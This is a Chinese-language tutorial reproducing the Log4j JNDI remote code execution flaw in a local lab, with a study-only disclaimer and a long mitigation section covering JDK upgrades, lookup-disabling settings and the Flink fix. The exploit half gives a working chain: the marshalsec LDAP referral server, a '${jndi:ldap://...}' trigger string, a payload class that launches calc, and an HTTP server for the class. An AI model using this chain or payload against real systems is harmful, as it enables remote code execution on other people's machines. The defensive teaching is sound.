声明
本篇目的为分享原理和学习用途,严禁用于任何恶意行为。任何恶意使用导致的一切损失和法律责任由操作者承担,和本文作者无关。
准备工作
下载并编译mbechler/marshalsec
。
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests
编写代码
Log4j漏洞代码(Log4j.java
):
public static void main(String[] args) {
// 高版本(191以上)JDK默认为false,需要添加这一行
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}
漏洞远程恶意执行代码(Log4jRCE.java
),如下例子为启动计算器程序。
static {
System.out.println("Log4jRCE from remote!");
// 启动计算器,在windows环境下
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
编译Log4jRCE.java
并放置class文件于任意目录,例如/path/to/rce
。
漏洞利用
复制编译后的漏洞远程恶意执行代码(Log4jRCE.class
)到任意目录,例如/path/to/rce
,启动一个http服务器。
mv Log4j.class /path/to/rce
python -m http.server 8081
进入marshalsec
目录,启动LDAP服务:
cd marshalsec
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Log4jRCE
执行漏洞代码:
java -cp log4j-api-2.14.1.jar:log4j-core-2.14.1.jar Log4j
我们发现输出:
Log4jRCE from remote!
同时计算器程序被启动。观察http server和LDAP服务器日志,发现的确接收到了Log4j漏洞代码发来的请求。
漏洞防御
漏洞防御措施分为临时规避方案和彻底解决方案。
临时规避方案
强烈建议升级JDK版本到6u211 / 7u201 / 8u191 / 11.0.1这些版本以上。这些版本默认com.sun.jndi.ldap.object.trustURLCodebase
值为false
,一定程度上降低了安全风险,但是不能彻底解决。
安全建议如下:
- 修改JVM参数,增加
-Dlog4j2.formatMsgNoLookups=true
- 设置系统环境变量
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
- 对于2.0-beta9 到 2.10.0 之间的版本(闭区间),需要从jar包中删除
org/apache/logging/log4j/core/lookup/JndiLookup.class
。可执行zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
。 -
PatternLayout
设置输出消息格式为%m{nolookups}
,不要使用%m
。
彻底解决方案
需要替换项目依赖中的log4j为2.16.0
。log4j2.15.0
虽然已经修复了漏洞,但只是应急处理(解决了JNDI从日志消息和地址访问),建议使用更安全的2.16.0
。2.16.0
默认禁用了JNDI。开启JNDI需要 log4j2.enableJndi
设置为 true
。除此之外该版本还默认禁止了message解析过程lookup(相当于默认为前面说的%m{nolookups}
)。如要启用lookup,请设置Pattern为%m{lookup}
。
如果项目为fat jar(项目本身和依赖打到同一个jar包),建议修改log4j依赖版本后重新编译。如果项目加载固定目录中的内容到classpath
(例如Flink的lib
目录),直接替换依赖包即可。
Flink修复log4j漏洞的方式
下载并替换如下jar包到Flink的lib目录:
注意:如果Flink引入了第三方jar包,还需要检查第三方jar包中的log4j版本。作业中整个classpath中出现的log4j都需要排查一遍。